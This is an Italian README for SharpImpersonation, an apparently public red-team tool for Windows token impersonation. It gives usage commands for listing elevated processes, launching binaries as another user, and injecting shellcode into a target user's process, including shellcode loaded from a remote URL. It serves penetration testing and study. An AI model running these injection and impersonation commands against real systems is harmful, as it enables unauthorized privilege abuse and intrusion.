SharpImpersonation

Questo è stato un progetto di apprendimento pratico da parte mia. Vengono utilizzate tecniche ben note per costruire semplicemente un altro strumento di impersonificazione con alcuni miglioramenti rispetto ad altri strumenti pubblici. Il codice base è stato preso da:

• https://github.com/0xbadjuju/Tokenvator

Un post sul blog per l'introduzione può essere trovato qui:

• https://s3cur3th1ssh1t.github.io/SharpImpersonation-Introduction/

Elenca i processi utente

PS > PS C:\temp> SharpImpersonation.exe list

Elenca solo i processi con privilegi elevati

PS > PS C:\temp> SharpImpersonation.exe list elevated

Impersona il primo processo dell'utente target per avviare un nuovo binario

PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>

Inietta shellcode codificato in base64 nel primo processo dell'utente target

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>

Inietta shellcode caricato da un webserver nel primo processo dell'utente target

PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>

Impersona l'utente target tramite ImpersonateLoggedOnuser per la sessione corrente

PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser